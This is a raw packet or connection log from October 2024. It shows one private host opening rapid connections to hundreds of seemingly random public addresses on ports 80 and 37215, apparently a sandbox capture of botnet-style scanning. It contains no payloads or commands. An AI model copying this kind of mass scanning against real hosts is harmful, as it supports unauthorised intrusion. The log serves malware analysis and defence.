Oct 14, 2024 17:34:14.129715919 CEST	29626	80	192.168.2.14	126.8.107.94
Oct 14, 2024 17:34:14.129715919 CEST	29626	80	192.168.2.14	207.87.87.231
Oct 14, 2024 17:34:14.129717112 CEST	29626	80	192.168.2.14	38.176.88.150
Oct 14, 2024 17:34:14.129717112 CEST	29626	80	192.168.2.14	64.62.128.144
Oct 14, 2024 17:34:14.129717112 CEST	29625	37215	192.168.2.14	156.79.26.124
Oct 14, 2024 17:34:14.129722118 CEST	29626	80	192.168.2.14	138.201.91.134
Oct 14, 2024 17:34:14.129722118 CEST	29625	37215	192.168.2.14	197.60.163.254
Oct 14, 2024 17:34:14.129723072 CEST	29625	37215	192.168.2.14	197.32.70.182
Oct 14, 2024 17:34:14.129723072 CEST	29626	80	192.168.2.14	32.34.250.69
Oct 14, 2024 17:34:14.129724026 CEST	29626	80	192.168.2.14	190.54.32.68
Oct 14, 2024 17:34:14.129724026 CEST	29625	37215	192.168.2.14	41.61.242.79
Oct 14, 2024 17:34:14.129730940 CEST	29626	80	192.168.2.14	218.56.96.227
Oct 14, 2024 17:34:14.129730940 CEST	29626	80	192.168.2.14	84.241.71.58
Oct 14, 2024 17:34:14.129740000 CEST	29625	37215	192.168.2.14	197.234.50.78
Oct 14, 2024 17:34:14.129746914 CEST	29626	80	192.168.2.14	73.222.250.15
Oct 14, 2024 17:34:14.129746914 CEST	29626	80	192.168.2.14	192.119.88.108
Oct 14, 2024 17:34:14.129748106 CEST	29626	80	192.168.2.14	40.164.80.24
Oct 14, 2024 17:34:14.129761934 CEST	29625	37215	192.168.2.14	41.228.151.181
Oct 14, 2024 17:34:14.129764080 CEST	29625	37215	192.168.2.14	41.137.17.239
Oct 14, 2024 17:34:14.129766941 CEST	29626	80	192.168.2.14	124.196.129.30
Oct 14, 2024 17:34:14.129776001 CEST	29625	37215	192.168.2.14	197.251.12.143
Oct 14, 2024 17:34:14.129776001 CEST	29626	80	192.168.2.14	193.160.147.75
Oct 14, 2024 17:34:14.129776001 CEST	29626	80	192.168.2.14	220.241.171.178
Oct 14, 2024 17:34:14.129776001 CEST	29626	80	192.168.2.14	208.150.162.214
Oct 14, 2024 17:34:14.129776955 CEST	29626	80	192.168.2.14	190.250.253.112
Oct 14, 2024 17:34:14.129791021 CEST	29626	80	192.168.2.14	191.181.47.254
Oct 14, 2024 17:34:14.129792929 CEST	29626	80	192.168.2.14	168.211.148.185
Oct 14, 2024 17:34:14.129797935 CEST	29626	80	192.168.2.14	136.57.79.134
Oct 14, 2024 17:34:14.129797935 CEST	29625	37215	192.168.2.14	41.106.24.45
Oct 14, 2024 17:34:14.129807949 CEST	29626	80	192.168.2.14	170.147.46.153
Oct 14, 2024 17:34:14.129811049 CEST	29626	80	192.168.2.14	134.131.31.151
Oct 14, 2024 17:34:14.129811049 CEST	29625	37215	192.168.2.14	156.251.84.15
Oct 14, 2024 17:34:14.129811049 CEST	29626	80	192.168.2.14	199.77.45.2
Oct 14, 2024 17:34:14.129815102 CEST	29626	80	192.168.2.14	83.159.246.26
Oct 14, 2024 17:34:14.129816055 CEST	29626	80	192.168.2.14	95.34.183.50
Oct 14, 2024 17:34:14.129820108 CEST	29625	37215	192.168.2.14	197.171.59.80
Oct 14, 2024 17:34:14.129820108 CEST	29625	37215	192.168.2.14	41.134.183.200
Oct 14, 2024 17:34:14.129820108 CEST	29626	80	192.168.2.14	199.255.25.28
Oct 14, 2024 17:34:14.129820108 CEST	29626	80	192.168.2.14	110.134.182.189
Oct 14, 2024 17:34:14.129826069 CEST	29625	37215	192.168.2.14	41.198.158.36
Oct 14, 2024 17:34:14.129827023 CEST	29626	80	192.168.2.14	98.170.175.207
Oct 14, 2024 17:34:14.129828930 CEST	29626	80	192.168.2.14	207.153.179.55
Oct 14, 2024 17:34:14.129834890 CEST	29625	37215	192.168.2.14	197.17.174.175
Oct 14, 2024 17:34:14.129842997 CEST	29626	80	192.168.2.14	203.118.82.57
Oct 14, 2024 17:34:14.129848003 CEST	29626	80	192.168.2.14	42.204.22.83
Oct 14, 2024 17:34:14.129848003 CEST	29625	37215	192.168.2.14	41.208.215.103
Oct 14, 2024 17:34:14.129848003 CEST	29625	37215	192.168.2.14	197.132.223.143
Oct 14, 2024 17:34:14.129854918 CEST	29626	80	192.168.2.14	163.24.120.238
Oct 14, 2024 17:34:14.129863024 CEST	29626	80	192.168.2.14	58.101.221.34
Oct 14, 2024 17:34:14.129870892 CEST	29626	80	192.168.2.14	105.121.92.225
Oct 14, 2024 17:34:14.129870892 CEST	29625	37215	192.168.2.14	156.233.161.167
Oct 14, 2024 17:34:14.129873037 CEST	29626	80	192.168.2.14	81.189.37.147
Oct 14, 2024 17:34:14.129873991 CEST	29626	80	192.168.2.14	207.69.179.82
Oct 14, 2024 17:34:14.129875898 CEST	29626	80	192.168.2.14	157.174.104.102
Oct 14, 2024 17:34:14.129888058 CEST	29625	37215	192.168.2.14	41.98.166.178
Oct 14, 2024 17:34:14.129889965 CEST	29626	80	192.168.2.14	192.39.35.51
Oct 14, 2024 17:34:14.129895926 CEST	29626	80	192.168.2.14	79.93.39.151
Oct 14, 2024 17:34:14.129899025 CEST	29625	37215	192.168.2.14	197.141.197.30
Oct 14, 2024 17:34:14.129899979 CEST	29626	80	192.168.2.14	115.87.22.78
Oct 14, 2024 17:34:14.129899979 CEST	29626	80	192.168.2.14	135.140.85.180
Oct 14, 2024 17:34:14.129899979 CEST	29626	80	192.168.2.14	76.125.154.237
Oct 14, 2024 17:34:14.129909039 CEST	29625	37215	192.168.2.14	41.235.78.145
Oct 14, 2024 17:34:14.129914999 CEST	29626	80	192.168.2.14	83.165.215.118
Oct 14, 2024 17:34:14.129920959 CEST	29626	80	192.168.2.14	109.50.141.250
Oct 14, 2024 17:34:14.129925013 CEST	29626	80	192.168.2.14	136.167.183.174
Oct 14, 2024 17:34:14.129933119 CEST	29625	37215	192.168.2.14	197.70.184.250
Oct 14, 2024 17:34:14.129935026 CEST	29625	37215	192.168.2.14	41.177.110.179
Oct 14, 2024 17:34:14.129935980 CEST	29626	80	192.168.2.14	184.97.26.227
Oct 14, 2024 17:34:14.129935980 CEST	29625	37215	192.168.2.14	41.65.15.115
Oct 14, 2024 17:34:14.129935980 CEST	29625	37215	192.168.2.14	156.196.84.83
Oct 14, 2024 17:34:14.129936934 CEST	29626	80	192.168.2.14	146.35.161.145
Oct 14, 2024 17:34:14.129944086 CEST	29626	80	192.168.2.14	140.0.55.158
Oct 14, 2024 17:34:14.129945040 CEST	29625	37215	192.168.2.14	41.67.102.115
Oct 14, 2024 17:34:14.129944086 CEST	29625	37215	192.168.2.14	197.249.218.86
Oct 14, 2024 17:34:14.129945040 CEST	29625	37215	192.168.2.14	41.242.247.100
Oct 14, 2024 17:34:14.129946947 CEST	29626	80	192.168.2.14	133.243.127.255
Oct 14, 2024 17:34:14.129956007 CEST	29626	80	192.168.2.14	139.38.183.231
Oct 14, 2024 17:34:14.129956961 CEST	29626	80	192.168.2.14	19.34.166.72
Oct 14, 2024 17:34:14.129961014 CEST	29626	80	192.168.2.14	125.224.92.34
Oct 14, 2024 17:34:14.129961014 CEST	29626	80	192.168.2.14	58.122.33.79
Oct 14, 2024 17:34:14.129961967 CEST	29626	80	192.168.2.14	77.233.13.233
Oct 14, 2024 17:34:14.129961967 CEST	29626	80	192.168.2.14	46.132.194.211
Oct 14, 2024 17:34:14.129967928 CEST	29625	37215	192.168.2.14	197.131.42.188
Oct 14, 2024 17:34:14.129980087 CEST	29626	80	192.168.2.14	136.77.19.137
Oct 14, 2024 17:34:14.129980087 CEST	29625	37215	192.168.2.14	156.161.80.36
Oct 14, 2024 17:34:14.129980087 CEST	29626	80	192.168.2.14	173.38.217.202
Oct 14, 2024 17:34:14.129981041 CEST	29626	80	192.168.2.14	2.135.31.182
Oct 14, 2024 17:34:14.129981995 CEST	29626	80	192.168.2.14	9.128.131.229
Oct 14, 2024 17:34:14.129990101 CEST	29626	80	192.168.2.14	135.72.26.29
Oct 14, 2024 17:34:14.129990101 CEST	29625	37215	192.168.2.14	156.125.115.141
Oct 14, 2024 17:34:14.129995108 CEST	29625	37215	192.168.2.14	41.133.57.136
Oct 14, 2024 17:34:14.129997969 CEST	29626	80	192.168.2.14	169.143.143.2
Oct 14, 2024 17:34:14.129997969 CEST	29626	80	192.168.2.14	49.88.31.69
Oct 14, 2024 17:34:14.130001068 CEST	29626	80	192.168.2.14	175.57.242.136
Oct 14, 2024 17:34:14.130002022 CEST	29626	80	192.168.2.14	84.217.91.36
Oct 14, 2024 17:34:14.130001068 CEST	29625	37215	192.168.2.14	197.169.214.213
Oct 14, 2024 17:34:14.130001068 CEST	29625	37215	192.168.2.14	197.102.149.207
Oct 14, 2024 17:34:14.130002975 CEST	29626	80	192.168.2.14	167.15.73.182
Oct 14, 2024 17:34:14.130004883 CEST	29626	80	192.168.2.14	39.221.21.169
Oct 14, 2024 17:34:14.130011082 CEST	29626	80	192.168.2.14	199.183.159.58
Oct 14, 2024 17:34:14.130012035 CEST	29626	80	192.168.2.14	133.124.72.233
Oct 14, 2024 17:34:14.130012035 CEST	29626	80	192.168.2.14	130.176.227.152
Oct 14, 2024 17:34:14.130012035 CEST	29626	80	192.168.2.14	8.110.86.71
Oct 14, 2024 17:34:14.130023956 CEST	29626	80	192.168.2.14	64.7.193.167
Oct 14, 2024 17:34:14.130024910 CEST	29626	80	192.168.2.14	39.204.19.180
Oct 14, 2024 17:34:14.130032063 CEST	29626	80	192.168.2.14	189.39.248.195
Oct 14, 2024 17:34:14.130032063 CEST	29625	37215	192.168.2.14	41.41.242.73
Oct 14, 2024 17:34:14.130037069 CEST	29626	80	192.168.2.14	119.225.208.238
Oct 14, 2024 17:34:14.130037069 CEST	29626	80	192.168.2.14	94.153.178.28
Oct 14, 2024 17:34:14.130048990 CEST	29626	80	192.168.2.14	97.198.221.230
Oct 14, 2024 17:34:14.130048990 CEST	29625	37215	192.168.2.14	156.97.108.17
Oct 14, 2024 17:34:14.130063057 CEST	29626	80	192.168.2.14	25.184.128.212
Oct 14, 2024 17:34:14.130064964 CEST	29625	37215	192.168.2.14	156.80.215.160
Oct 14, 2024 17:34:14.130064964 CEST	29626	80	192.168.2.14	120.35.159.220
Oct 14, 2024 17:34:14.130070925 CEST	29626	80	192.168.2.14	69.120.109.16
Oct 14, 2024 17:34:14.130072117 CEST	29625	37215	192.168.2.14	156.171.82.200
Oct 14, 2024 17:34:14.130075932 CEST	29626	80	192.168.2.14	87.121.107.41
Oct 14, 2024 17:34:14.130075932 CEST	29626	80	192.168.2.14	188.148.210.62
Oct 14, 2024 17:34:14.130075932 CEST	29625	37215	192.168.2.14	41.91.157.9
Oct 14, 2024 17:34:14.130076885 CEST	29626	80	192.168.2.14	163.145.43.143
Oct 14, 2024 17:34:14.130078077 CEST	29626	80	192.168.2.14	25.219.89.102
Oct 14, 2024 17:34:14.130081892 CEST	29625	37215	192.168.2.14	41.162.216.252
Oct 14, 2024 17:34:14.130089045 CEST	29626	80	192.168.2.14	67.114.198.83
Oct 14, 2024 17:34:14.130094051 CEST	29626	80	192.168.2.14	184.49.98.17
Oct 14, 2024 17:34:14.130098104 CEST	29625	37215	192.168.2.14	41.49.149.91
Oct 14, 2024 17:34:14.130098104 CEST	29625	37215	192.168.2.14	156.144.11.130
Oct 14, 2024 17:34:14.130098104 CEST	29625	37215	192.168.2.14	197.80.255.40
Oct 14, 2024 17:34:14.130105019 CEST	29626	80	192.168.2.14	104.86.196.245
Oct 14, 2024 17:34:14.130119085 CEST	29626	80	192.168.2.14	60.224.112.143
Oct 14, 2024 17:34:14.130121946 CEST	29626	80	192.168.2.14	124.19.114.62
Oct 14, 2024 17:34:14.130122900 CEST	29626	80	192.168.2.14	204.171.124.165
Oct 14, 2024 17:34:14.130127907 CEST	29626	80	192.168.2.14	147.87.130.97
Oct 14, 2024 17:34:14.130129099 CEST	29626	80	192.168.2.14	166.129.170.76
Oct 14, 2024 17:34:14.130136013 CEST	29626	80	192.168.2.14	162.112.116.211
Oct 14, 2024 17:34:14.130139112 CEST	29625	37215	192.168.2.14	41.207.71.150
Oct 14, 2024 17:34:14.130139112 CEST	29625	37215	192.168.2.14	41.33.24.3
Oct 14, 2024 17:34:14.130146980 CEST	29625	37215	192.168.2.14	197.106.111.102
Oct 14, 2024 17:34:14.130151033 CEST	29626	80	192.168.2.14	77.40.142.154
Oct 14, 2024 17:34:14.130151987 CEST	29626	80	192.168.2.14	147.241.22.183
Oct 14, 2024 17:34:14.130162954 CEST	29626	80	192.168.2.14	44.48.115.28
Oct 14, 2024 17:34:14.130163908 CEST	29625	37215	192.168.2.14	41.119.146.204
Oct 14, 2024 17:34:14.130166054 CEST	29626	80	192.168.2.14	132.142.184.48
Oct 14, 2024 17:34:14.130175114 CEST	29626	80	192.168.2.14	180.184.6.252
Oct 14, 2024 17:34:14.130176067 CEST	29626	80	192.168.2.14	62.225.200.43
Oct 14, 2024 17:34:14.130182981 CEST	29626	80	192.168.2.14	37.250.117.144
Oct 14, 2024 17:34:14.130184889 CEST	29625	37215	192.168.2.14	197.144.42.167
Oct 14, 2024 17:34:14.130184889 CEST	29625	37215	192.168.2.14	156.239.20.98
Oct 14, 2024 17:34:14.130187988 CEST	29625	37215	192.168.2.14	197.246.26.237
Oct 14, 2024 17:34:14.130187988 CEST	29625	37215	192.168.2.14	197.238.156.138
Oct 14, 2024 17:34:14.130192995 CEST	29626	80	192.168.2.14	183.59.165.13
Oct 14, 2024 17:34:14.130192995 CEST	29626	80	192.168.2.14	197.131.119.15
Oct 14, 2024 17:34:14.130192995 CEST	29626	80	192.168.2.14	141.140.251.144
Oct 14, 2024 17:34:14.130201101 CEST	29625	37215	192.168.2.14	197.194.96.66
Oct 14, 2024 17:34:14.130201101 CEST	29626	80	192.168.2.14	18.105.37.187
Oct 14, 2024 17:34:14.130202055 CEST	29626	80	192.168.2.14	163.186.3.116
Oct 14, 2024 17:34:14.130207062 CEST	29625	37215	192.168.2.14	41.28.147.69
Oct 14, 2024 17:34:14.130207062 CEST	29626	80	192.168.2.14	8.129.203.57
Oct 14, 2024 17:34:14.130217075 CEST	29625	37215	192.168.2.14	156.135.26.125
Oct 14, 2024 17:34:14.130219936 CEST	29625	37215	192.168.2.14	197.205.133.146
Oct 14, 2024 17:34:14.130228043 CEST	29626	80	192.168.2.14	64.124.67.149
Oct 14, 2024 17:34:14.130228043 CEST	29626	80	192.168.2.14	68.237.34.0
Oct 14, 2024 17:34:14.130228043 CEST	29626	80	192.168.2.14	164.4.73.43
Oct 14, 2024 17:34:14.130240917 CEST	29626	80	192.168.2.14	106.221.127.219
Oct 14, 2024 17:34:14.130240917 CEST	29625	37215	192.168.2.14	197.242.121.0
Oct 14, 2024 17:34:14.130242109 CEST	29626	80	192.168.2.14	87.182.249.149
Oct 14, 2024 17:34:14.130244017 CEST	29625	37215	192.168.2.14	156.127.84.45
Oct 14, 2024 17:34:14.130244970 CEST	29625	37215	192.168.2.14	197.85.6.196
Oct 14, 2024 17:34:14.130244970 CEST	29626	80	192.168.2.14	203.2.156.66
Oct 14, 2024 17:34:14.130244970 CEST	29625	37215	192.168.2.14	41.134.183.194
Oct 14, 2024 17:34:14.130247116 CEST	29626	80	192.168.2.14	140.44.53.224
Oct 14, 2024 17:34:14.130248070 CEST	29626	80	192.168.2.14	183.48.28.112
Oct 14, 2024 17:34:14.130254030 CEST	29626	80	192.168.2.14	13.48.240.49
Oct 14, 2024 17:34:14.130256891 CEST	29625	37215	192.168.2.14	41.19.248.126
Oct 14, 2024 17:34:14.130268097 CEST	29625	37215	192.168.2.14	41.1.157.194
Oct 14, 2024 17:34:14.130268097 CEST	29626	80	192.168.2.14	2.241.107.187
Oct 14, 2024 17:34:14.130273104 CEST	29626	80	192.168.2.14	9.173.168.128
Oct 14, 2024 17:34:14.130275011 CEST	29626	80	192.168.2.14	103.215.226.103
Oct 14, 2024 17:34:14.130275011 CEST	29626	80	192.168.2.14	133.23.78.182
Oct 14, 2024 17:34:14.130284071 CEST	29626	80	192.168.2.14	43.58.252.30
Oct 14, 2024 17:34:14.130287886 CEST	29625	37215	192.168.2.14	197.191.61.254
Oct 14, 2024 17:34:14.130287886 CEST	29626	80	192.168.2.14	126.228.85.35
Oct 14, 2024 17:34:14.130290985 CEST	29626	80	192.168.2.14	64.213.75.117
Oct 14, 2024 17:34:14.130292892 CEST	29626	80	192.168.2.14	123.20.140.65
Oct 14, 2024 17:34:14.130304098 CEST	29626	80	192.168.2.14	181.132.6.33
Oct 14, 2024 17:34:14.130306959 CEST	29626	80	192.168.2.14	92.199.177.236
Oct 14, 2024 17:34:14.130310059 CEST	29626	80	192.168.2.14	12.191.80.95
Oct 14, 2024 17:34:14.130311966 CEST	29626	80	192.168.2.14	190.71.134.0
Oct 14, 2024 17:34:14.130322933 CEST	29626	80	192.168.2.14	212.8.11.194
Oct 14, 2024 17:34:14.130325079 CEST	29626	80	192.168.2.14	2.252.154.37
Oct 14, 2024 17:34:14.130331039 CEST	29626	80	192.168.2.14	141.7.93.10
Oct 14, 2024 17:34:14.130337000 CEST	29625	37215	192.168.2.14	197.190.9.43
Oct 14, 2024 17:34:14.130342960 CEST	29626	80	192.168.2.14	197.59.39.67
Oct 14, 2024 17:34:14.130345106 CEST	29625	37215	192.168.2.14	41.79.207.90
Oct 14, 2024 17:34:14.130348921 CEST	29625	37215	192.168.2.14	41.36.55.167
Oct 14, 2024 17:34:14.130356073 CEST	29626	80	192.168.2.14	64.106.140.57
Oct 14, 2024 17:34:14.130358934 CEST	29625	37215	192.168.2.14	156.229.135.102
Oct 14, 2024 17:34:14.130358934 CEST	29625	37215	192.168.2.14	197.55.74.217
Oct 14, 2024 17:34:14.130359888 CEST	29625	37215	192.168.2.14	41.8.116.111
Oct 14, 2024 17:34:14.130373001 CEST	29625	37215	192.168.2.14	156.189.140.60
Oct 14, 2024 17:34:14.130377054 CEST	29625	37215	192.168.2.14	156.18.244.37
Oct 14, 2024 17:34:14.130384922 CEST	29626	80	192.168.2.14	84.165.180.143
Oct 14, 2024 17:34:14.130394936 CEST	29625	37215	192.168.2.14	156.93.230.183
Oct 14, 2024 17:34:14.130397081 CEST	29625	37215	192.168.2.14	156.76.63.253
Oct 14, 2024 17:34:14.130397081 CEST	29625	37215	192.168.2.14	41.155.89.142
Oct 14, 2024 17:34:14.130410910 CEST	29625	37215	192.168.2.14	41.31.188.210
Oct 14, 2024 17:34:14.130413055 CEST	29625	37215	192.168.2.14	156.89.176.83
Oct 14, 2024 17:34:14.130413055 CEST	29625	37215	192.168.2.14	156.61.181.139
Oct 14, 2024 17:34:14.130429983 CEST	29625	37215	192.168.2.14	41.28.64.37
Oct 14, 2024 17:34:14.130438089 CEST	29625	37215	192.168.2.14	41.68.151.11
Oct 14, 2024 17:34:14.130438089 CEST	29625	37215	192.168.2.14	197.216.217.93
Oct 14, 2024 17:34:14.130441904 CEST	29625	37215	192.168.2.14	41.25.170.226
Oct 14, 2024 17:34:14.130444050 CEST	29625	37215	192.168.2.14	156.117.229.165
Oct 14, 2024 17:34:14.130446911 CEST	29625	37215	192.168.2.14	41.17.5.43
Oct 14, 2024 17:34:14.130446911 CEST	29625	37215	192.168.2.14	41.79.120.162
Oct 14, 2024 17:34:14.130455971 CEST	29625	37215	192.168.2.14	156.25.76.157
Oct 14, 2024 17:34:14.130461931 CEST	29625	37215	192.168.2.14	41.198.45.114
Oct 14, 2024 17:34:14.130475044 CEST	29625	37215	192.168.2.14	41.52.91.198
Oct 14, 2024 17:34:14.130477905 CEST	29625	37215	192.168.2.14	41.250.123.111
Oct 14, 2024 17:34:14.130479097 CEST	29625	37215	192.168.2.14	197.29.180.209
Oct 14, 2024 17:34:14.130486965 CEST	29625	37215	192.168.2.14	156.77.124.134
Oct 14, 2024 17:34:14.130496979 CEST	29625	37215	192.168.2.14	197.166.132.199
Oct 14, 2024 17:34:14.130496979 CEST	29625	37215	192.168.2.14	41.243.29.197
Oct 14, 2024 17:34:14.130516052 CEST	29625	37215	192.168.2.14	156.96.95.79
Oct 14, 2024 17:34:14.130516052 CEST	29625	37215	192.168.2.14	41.48.61.113
Oct 14, 2024 17:34:14.130532026 CEST	29625	37215	192.168.2.14	197.85.147.117
Oct 14, 2024 17:34:14.130541086 CEST	29625	37215	192.168.2.14	197.99.129.61
Oct 14, 2024 17:34:14.130543947 CEST	29625	37215	192.168.2.14	41.237.189.119
Oct 14, 2024 17:34:14.130559921 CEST	29625	37215	192.168.2.14	156.120.235.129
Oct 14, 2024 17:34:14.130562067 CEST	29625	37215	192.168.2.14	197.133.231.140
Oct 14, 2024 17:34:14.130562067 CEST	29625	37215	192.168.2.14	41.134.242.49
Oct 14, 2024 17:34:14.130562067 CEST	29625	37215	192.168.2.14	41.87.9.25
Oct 14, 2024 17:34:14.130568981 CEST	29625	37215	192.168.2.14	156.16.149.2
Oct 14, 2024 17:34:14.130572081 CEST	29625	37215	192.168.2.14	41.201.128.117
Oct 14, 2024 17:34:14.130590916 CEST	29625	37215	192.168.2.14	41.192.209.212
Oct 14, 2024 17:34:14.130594015 CEST	29625	37215	192.168.2.14	197.95.236.115
Oct 14, 2024 17:34:14.130603075 CEST	29625	37215	192.168.2.14	197.101.205.171
Oct 14, 2024 17:34:14.130604029 CEST	29625	37215	192.168.2.14	41.127.116.35
Oct 14, 2024 17:34:14.130609035 CEST	29625	37215	192.168.2.14	156.199.106.54
Oct 14, 2024 17:34:14.130626917 CEST	29625	37215	192.168.2.14	197.90.148.35
Oct 14, 2024 17:34:14.130626917 CEST	29625	37215	192.168.2.14	197.123.168.209
Oct 14, 2024 17:34:14.130629063 CEST	29625	37215	192.168.2.14	41.245.187.7
Oct 14, 2024 17:34:14.130649090 CEST	29625	37215	192.168.2.14	156.204.186.120
Oct 14, 2024 17:34:14.130652905 CEST	29625	37215	192.168.2.14	41.79.11.217
Oct 14, 2024 17:34:14.130666018 CEST	29625	37215	192.168.2.14	41.13.16.111
Oct 14, 2024 17:34:14.130666971 CEST	29625	37215	192.168.2.14	197.70.145.220
Oct 14, 2024 17:34:14.130666971 CEST	29625	37215	192.168.2.14	197.242.100.169
Oct 14, 2024 17:34:14.130666971 CEST	29625	37215	192.168.2.14	41.44.240.140
Oct 14, 2024 17:34:14.130680084 CEST	29625	37215	192.168.2.14	156.173.51.125
Oct 14, 2024 17:34:14.130682945 CEST	29625	37215	192.168.2.14	156.109.217.23
Oct 14, 2024 17:34:14.130683899 CEST	29625	37215	192.168.2.14	156.220.98.216
Oct 14, 2024 17:34:14.130686045 CEST	29625	37215	192.168.2.14	156.93.185.50
Oct 14, 2024 17:34:14.130697012 CEST	29625	37215	192.168.2.14	41.99.26.136
Oct 14, 2024 17:34:14.130697966 CEST	29625	37215	192.168.2.14	197.131.85.23
Oct 14, 2024 17:34:14.130697966 CEST	29625	37215	192.168.2.14	156.34.130.111
Oct 14, 2024 17:34:14.130716085 CEST	29625	37215	192.168.2.14	41.62.139.208
Oct 14, 2024 17:34:14.130718946 CEST	29625	37215	192.168.2.14	197.205.80.202
Oct 14, 2024 17:34:14.130718946 CEST	29625	37215	192.168.2.14	197.63.177.208
Oct 14, 2024 17:34:14.130733013 CEST	29625	37215	192.168.2.14	41.253.15.92
Oct 14, 2024 17:34:14.130733013 CEST	29625	37215	192.168.2.14	156.23.159.123
Oct 14, 2024 17:34:14.130733967 CEST	29625	37215	192.168.2.14	156.163.136.242
Oct 14, 2024 17:34:14.130736113 CEST	29625	37215	192.168.2.14	197.169.215.20
Oct 14, 2024 17:34:14.130753994 CEST	29625	37215	192.168.2.14	156.165.148.216
Oct 14, 2024 17:34:14.130755901 CEST	29625	37215	192.168.2.14	41.177.52.215
Oct 14, 2024 17:34:14.130759001 CEST	29625	37215	192.168.2.14	41.27.158.122
Oct 14, 2024 17:34:14.130759001 CEST	29625	37215	192.168.2.14	197.101.74.220
Oct 14, 2024 17:34:14.130778074 CEST	29625	37215	192.168.2.14	197.20.244.165
Oct 14, 2024 17:34:14.130778074 CEST	29625	37215	192.168.2.14	197.56.59.135
Oct 14, 2024 17:34:14.130789042 CEST	29625	37215	192.168.2.14	156.98.194.201
Oct 14, 2024 17:34:14.130795956 CEST	29625	37215	192.168.2.14	197.51.80.10
Oct 14, 2024 17:34:14.130806923 CEST	29625	37215	192.168.2.14	156.115.221.173
Oct 14, 2024 17:34:14.130811930 CEST	29625	37215	192.168.2.14	156.177.85.74
Oct 14, 2024 17:34:14.130821943 CEST	29625	37215	192.168.2.14	197.120.185.117
Oct 14, 2024 17:34:14.130822897 CEST	29625	37215	192.168.2.14	197.66.80.148
Oct 14, 2024 17:34:14.130836964 CEST	29625	37215	192.168.2.14	156.25.58.208
Oct 14, 2024 17:34:14.130842924 CEST	29625	37215	192.168.2.14	156.45.64.148
Oct 14, 2024 17:34:14.130851030 CEST	29625	37215	192.168.2.14	197.124.145.6
Oct 14, 2024 17:34:14.130857944 CEST	29625	37215	192.168.2.14	197.188.16.189
Oct 14, 2024 17:34:14.130868912 CEST	29625	37215	192.168.2.14	156.118.253.73
Oct 14, 2024 17:34:14.130881071 CEST	29625	37215	192.168.2.14	156.93.41.114
Oct 14, 2024 17:34:14.130901098 CEST	29625	37215	192.168.2.14	41.68.204.133
Oct 14, 2024 17:34:14.130901098 CEST	29625	37215	192.168.2.14	156.100.148.250
Oct 14, 2024 17:34:14.130913973 CEST	29625	37215	192.168.2.14	156.198.194.82
Oct 14, 2024 17:34:14.130916119 CEST	29625	37215	192.168.2.14	41.193.236.141
Oct 14, 2024 17:34:14.130916119 CEST	29625	37215	192.168.2.14	41.213.171.57
Oct 14, 2024 17:34:14.130916119 CEST	29625	37215	192.168.2.14	41.187.233.45
Oct 14, 2024 17:34:14.130916119 CEST	29625	37215	192.168.2.14	41.223.135.138
Oct 14, 2024 17:34:14.130917072 CEST	29625	37215	192.168.2.14	156.158.207.118
Oct 14, 2024 17:34:14.130916119 CEST	29625	37215	192.168.2.14	197.69.95.120
Oct 14, 2024 17:34:14.130917072 CEST	29625	37215	192.168.2.14	41.227.95.41
Oct 14, 2024 17:34:14.130932093 CEST	29625	37215	192.168.2.14	41.212.23.41
Oct 14, 2024 17:34:14.130933046 CEST	29625	37215	192.168.2.14	197.109.242.173
Oct 14, 2024 17:34:14.130938053 CEST	29625	37215	192.168.2.14	197.24.76.26
Oct 14, 2024 17:34:14.130954981 CEST	29625	37215	192.168.2.14	197.124.206.88
Oct 14, 2024 17:34:14.130969048 CEST	29625	37215	192.168.2.14	41.181.110.168
Oct 14, 2024 17:34:14.130971909 CEST	29625	37215	192.168.2.14	197.249.46.219
Oct 14, 2024 17:34:14.130983114 CEST	29625	37215	192.168.2.14	156.164.108.200
Oct 14, 2024 17:34:14.130984068 CEST	29625	37215	192.168.2.14	156.177.197.172
Oct 14, 2024 17:34:14.130984068 CEST	29625	37215	192.168.2.14	156.155.208.235
Oct 14, 2024 17:34:14.130995989 CEST	29625	37215	192.168.2.14	41.160.57.196
Oct 14, 2024 17:34:14.131001949 CEST	29625	37215	192.168.2.14	156.197.195.2
Oct 14, 2024 17:34:14.131011963 CEST	29625	37215	192.168.2.14	41.89.47.37
Oct 14, 2024 17:34:14.131014109 CEST	29625	37215	192.168.2.14	156.93.129.130
Oct 14, 2024 17:34:14.131019115 CEST	29625	37215	192.168.2.14	197.240.243.6
Oct 14, 2024 17:34:14.131031036 CEST	29625	37215	192.168.2.14	197.59.36.96
Oct 14, 2024 17:34:14.131043911 CEST	29625	37215	192.168.2.14	197.156.233.249
Oct 14, 2024 17:34:14.131045103 CEST	29625	37215	192.168.2.14	156.228.119.219
Oct 14, 2024 17:34:14.131057978 CEST	29625	37215	192.168.2.14	156.128.127.168
Oct 14, 2024 17:34:14.131057978 CEST	29625	37215	192.168.2.14	41.62.24.52
Oct 14, 2024 17:34:14.131061077 CEST	29625	37215	192.168.2.14	41.182.156.105
Oct 14, 2024 17:34:14.131074905 CEST	29625	37215	192.168.2.14	156.224.34.237
Oct 14, 2024 17:34:14.131078005 CEST	29625	37215	192.168.2.14	41.89.44.167
Oct 14, 2024 17:34:14.131083965 CEST	29625	37215	192.168.2.14	41.238.206.89
Oct 14, 2024 17:34:14.131093025 CEST	29625	37215	192.168.2.14	197.185.133.82
Oct 14, 2024 17:34:14.131098986 CEST	29625	37215	192.168.2.14	41.230.238.15
Oct 14, 2024 17:34:14.131105900 CEST	29625	37215	192.168.2.14	41.182.224.160
Oct 14, 2024 17:34:14.131113052 CEST	29625	37215	192.168.2.14	197.111.8.49
Oct 14, 2024 17:34:14.131114006 CEST	29625	37215	192.168.2.14	41.4.132.131
Oct 14, 2024 17:34:14.131114006 CEST	29625	37215	192.168.2.14	156.124.202.101
Oct 14, 2024 17:34:14.131129980 CEST	29625	37215	192.168.2.14	41.182.161.27
Oct 14, 2024 17:34:14.131130934 CEST	29625	37215	192.168.2.14	197.209.171.7
Oct 14, 2024 17:34:14.131130934 CEST	29625	37215	192.168.2.14	41.220.79.89
Oct 14, 2024 17:34:14.131139994 CEST	29625	37215	192.168.2.14	156.110.25.174
Oct 14, 2024 17:34:14.131139994 CEST	29625	37215	192.168.2.14	41.209.187.44
Oct 14, 2024 17:34:14.131154060 CEST	29625	37215	192.168.2.14	41.73.18.12
Oct 14, 2024 17:34:14.131160975 CEST	29625	37215	192.168.2.14	41.212.43.88
Oct 14, 2024 17:34:14.131162882 CEST	29625	37215	192.168.2.14	197.203.176.109
Oct 14, 2024 17:34:14.131175041 CEST	29625	37215	192.168.2.14	156.26.112.180
Oct 14, 2024 17:34:14.131177902 CEST	29625	37215	192.168.2.14	156.185.35.59
